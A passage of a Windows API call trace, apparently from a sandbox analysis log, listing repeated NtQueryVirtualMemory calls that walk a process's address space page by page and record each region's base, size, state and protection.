Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x36000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x37000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x37000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x38000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x38000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x39000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x39000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.512] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x3f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x18000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x41000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x41000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x17000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x42000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x16000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x43000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x15000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x44000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x14000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x45000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x13000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x46000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x46000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x12000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x47000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x11000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x48000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x10000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x49000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4a000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xe000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4b000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xd000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4c000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xc000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4d000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xb000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4e000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xa000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.513] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x4f000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x50000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x51000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x52000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x52000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x53000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x54000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x55000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x56000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x57000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x57000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x58000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x58000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x59000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x59000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x5f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x34000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x62000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x62000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x33000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x63000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x32000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x31000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x65000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x30000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.514] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x66000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x66000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x67000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x68000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x68000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x69000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x69000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x29000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x28000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x27000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x6f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x26000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x70000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x25000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x71000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x24000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x72000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x72000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x23000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x73000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x73000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x22000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x74000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x74000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x21000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x75000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x75000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x20000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x76000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x76000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x77000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x77000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x78000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x79000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x79000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x19000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x18000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0191.515] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19f634, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19f634*(BaseAddress=0x7e000, 